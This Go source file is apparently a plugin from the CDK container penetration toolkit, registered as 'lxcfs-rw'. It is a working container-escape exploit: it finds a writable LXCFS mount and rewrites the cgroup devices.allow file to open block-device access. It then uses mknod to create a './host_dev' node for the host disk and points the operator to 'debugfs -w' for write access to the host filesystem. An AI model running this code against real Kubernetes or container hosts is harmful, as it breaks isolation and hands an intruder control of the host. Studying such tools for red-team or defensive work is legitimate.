// +build !no_lxcfs_rw

package exploit

import (
	"io/ioutil"
	"log"
	"os"
	"path"
	"strings"
	"syscall"

	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
)

const cgroupDevicePath string = "/sys/fs/cgroup/devices"
const devicesAllowName string = "devices.allow"
const devicesListName string = "devices.list"

// find rw lxcfs
func findTargetMountPoint(mi *util.MountInfo, filter string) bool {
	if mi.Device == "lxcfs" && util.IsDirectory(mi.MountPoint) {

		if !strings.Contains(mi.MountPoint, filter) {
			return false
		}

		for _, opt := range mi.Opts {
			if opt == "rw" {
				log.Printf("found rw lxcfs mountpoint: %s\n", mi.MountPoint)
				return true
			}
		}
	}
	return false
}

// find pods cgroup devices path
func findDevicesAllowPath(mi *util.MountInfo) bool {
	if mi.MountPoint == cgroupDevicePath {
		log.Printf("found pod devices.allow path: %s\n", mi.Root)
		return true
	}
	return false
}

func getDevicesAllow(path string) string {
	f, err := os.Open(path)
	if err != nil {
		log.Printf("open devices.list failed. %v\n", err)
		return ""
	}
	defer f.Close()

	b, err := ioutil.ReadAll(f)
	if err != nil {
		log.Printf("read devices.list failed. %v\n", err)
		return ""
	}

	return string(b)
}

func ExploitLXCFS() bool {
	var targetMountPoint string
	var podCgroupPath string
	var devicesAllowPath, devicesListPath string
	var deviceMarjor, deviceMinor string
	var filterString string

	mountInfos, err := util.GetMountInfo()
	if err != nil {
		log.Printf("%v", err)
		return false
	}

	// Responding to the case of mount the lxcfs path of other containers in the target container
	// ./cdk run lxcfs-rw "filter-string"
	args := cli.Args["<args>"].([]string)
	if len(args) < 1 {
		filterString = ""
	} else {
		filterString = args[0]
	}

	log.Printf("filter string for mount point is \"%s\"", filterString)

	for _, mi := range mountInfos {

		if findTargetMountPoint(&mi, filterString) {
			targetMountPoint = mi.MountPoint
		}
		if findDevicesAllowPath(&mi) {
			podCgroupPath = mi.Root
		}
		if util.FindTargetDeviceID(&mi) {
			deviceMarjor = mi.Marjor
			deviceMinor = mi.Minor
		}
	}

	devicesAllowPath = path.Join(targetMountPoint, "cgroup/devices", podCgroupPath, devicesAllowName)
	devicesListPath = path.Join(targetMountPoint, "cgroup/devices", podCgroupPath, devicesListName)

	log.Printf("set %s\n", devicesAllowPath)
	err = util.SetBlockAccessible(devicesAllowPath)
	if err != nil {
		log.Printf("%v", err)
		return false
	}
	devicesAllow := getDevicesAllow(devicesListPath)
	log.Printf("devices.allow content: %s", devicesAllow)
	if strings.Contains(devicesAllow, "a *:* rwm") {
		dev := util.MakeDev(deviceMarjor, deviceMinor)
		if dev == 0 {
			log.Printf("Blockdevice Marjor/Minor number invalid.")
			return false
		}
		err = syscall.Mknod("./host_dev", syscall.S_IFBLK|uint32(os.FileMode(0700)), dev)
		if err != nil {
			log.Printf("mknod err: %v", err)
			return false
		}
		log.Printf("exploit success, run \"debugfs -w host_dev\".")
		return true
	}
	return false
}

type lxcfsRWS struct{}

func (l lxcfsRWS) Desc() string {
	return "escape container when root has LXCFS read & write privilege,  usage: `./cdk run lxcfs-rw`"
}

func (l lxcfsRWS) Run() bool {
	return ExploitLXCFS()
}

func init() {
	exploit := lxcfsRWS{}
	plugin.RegisterExploit("lxcfs-rw", exploit)
}
